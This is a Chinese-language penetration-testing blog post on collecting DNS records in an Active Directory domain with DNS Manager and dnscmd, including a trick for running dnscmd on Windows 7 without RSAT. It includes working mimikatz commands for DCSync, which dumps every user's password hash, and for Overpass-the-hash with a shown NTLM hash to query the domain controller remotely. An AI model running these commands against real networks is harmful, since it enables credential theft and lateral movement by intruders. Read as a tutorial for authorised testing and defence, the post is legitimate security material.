域渗透——DNS 记录的获取

发布于 2024-12-15 13:36:56 字数 5827 浏览 8 评论 0

0x00 前言

在域渗透中,对域环境的信息搜集很关键,如果我们获得了域内管理员的权限,那么如何能够快速了解域内的网络架构呢?DNS 记录无疑是一个很好的参考。

本文将要介绍在域渗透中,获得 DNS 管理员权限后,获取 DNS 记录的方法

0x01 简介

本文将要介绍以下内容:

  • 通过 DNS Manager 获取 DNS 记录
  • 通过 dnscmd 获取 DNS 记录
  • 域内远程读取 DNS 记录的方法

0x02 通过 DNS Manager 获取 DNS 记录

测试系统:

Windows Server 2008 R2 x64

选择 Administrative Tools -> DNS

Forward Lookup Zones 下找到当前域名,能够显示当前域内的 DNS 记录,包括主机名和对应的 IP

如下图

Alt text

0x03 通过 dnscmd 获取 DNS 记录

dnscmd:

用来管理 DNS 服务器的命令行接口,支持远程连接

默认安装的系统:

  • Windows Server 2003
  • Windows Server 2008
  • Windows Server 2003 R2
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2003 with SP1
  • ...

参考资料:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069(v=ws.11 )

Win7 系统在使用时需要安装 Remote Server Administration Tools (RSAT)

参考地址:https://support.microsoft.com/en-us/help/2693643/remote-server-administration-tools-rsat-for-windows-operating-systems

RSAT 下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=7887

测试系统:

Windows Server 2008 R2 x64

常用命令:

(1) 列出 DNS 区域中当前节点的资源记录:

Dnscmd . /EnumZones

如下图

Alt text

(2) 列出 test.com 的信息:

Dnscmd . /ZoneInfo test.com

如下图

Alt text

(3) 列举 test.com 中的记录,方法 1(更详细):

Dnscmd . /ZonePrint test.com

如下图

Alt text

(4) 列举 testc.com 的记录,方法 2:

Dnscmd . /EnumRecords test.com .

如下图

Alt text

结果同 DNS Manager 获取的记录一致

0x04 域内远程读取 DNS 记录的方法

方法分析

前提需要获得域管理员的权限

第一种方法是先远程连接域控制器,然后在域控制器上执行 dnscmd 获取 DNS 记录

第二种方法是在域内一台主机上面,执行 dnscmd 远程读取 DNS 记录

但是 Win7 系统默认不支持 dnscmd,直接安装 Remote Server Administration Tools (RSAT) 也不现实

于是,我尝试寻找在未安装 Remote Server Administration Tools (RSAT) 的系统上执行 dnscmd 的方法

方法测试

向未安装 Remote Server Administration Tools (RSAT) 的 Win7 系统上复制一个 dnscmd.exe,直接执行,结果失败

解决方法

通过 Process Monitor 记录 dnscmd 的执行过程,查看缺少哪些文件

如下图

Alt text

发现缺少文件 dnscmd.exe.mui

补全缺少的文件,再次测试,最终找到解决方法

在未安装 Remote Server Administration Tools (RSAT) 的系统上执行 dnscmd,需要满足以下条件:

  1. dnscmd 保存在路径 C:\Windows\System32
  2. dnscmd.exe.mui 保存在 C:\Windows\System32\en-US 下(该位置比较通用,也可以在其他位置)

注:dnscmd 和 dnscmd.exe.mui 使用 Windows Server 2008 R2 下的即可

这里提供一个测试文件(我从 Windows Server 2008 R2 下获得的):

注:仅供测试

由于 dnscmd 在远程连接时,未提供输入用户名和口令的接口,这里需要借助 mimikatz 的 Overpass-the-hash

首先需要获得域管理员用户的 hash,这里只能用 ntlm/rc4/aes128/aes256

如果获得了域管理员用户的明文口令,可以先将明文转为 ntlm,在线加密的网站:

https://md5decrypt.net/en/Ntlm/

补充:使用 dcsync 获得域内所有用户 hash 的方法

域控制器上执行 mimikatz:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit"

实际测试

测试环境的参数如下:

  • 域管理员用户:Administrator
  • 口令:DomainAdmin456!
  • hash:A55E0720F0041193632A58E007624B40

Overpass-the-hash:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40"

这样会弹出一个 cmd.exe

接着使用 dnscmd 远程连接进行查询:

Dnscmd WIN-F08C969D7FM.test.com /EnumZones

or

Dnscmd WIN-F08C969D7FM /EnumZones

注:这里要使用 FQDN 或者计算机名

如下图

Alt text

如果想在命令行下实现整个流程,可以采用如下方法:

新建 c:\test\1.bat ,内容如下:

Dnscmd WIN-F08C969D7FM.test.com /EnumZones > c:\test\out.txt

Overpass-the-hash:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40 /run:\"cmd.exe /c c:\test\1.bat\""

注:cmd.exe 下 " 需要使用转义字符 \"

0x05 小结

本文介绍了在域内使用 Overpass-the-hash 实现 dnscmd 远程读取 DNS 记录的方法。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

红尘作伴

暂无简介

文章
评论
26 人气
更多

推荐作者

迎风吟唱

文章 0 评论 0

qq_hXErI

文章 0 评论 0

茶底世界

文章 0 评论 0

捎一片雪花

文章 0 评论 0

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文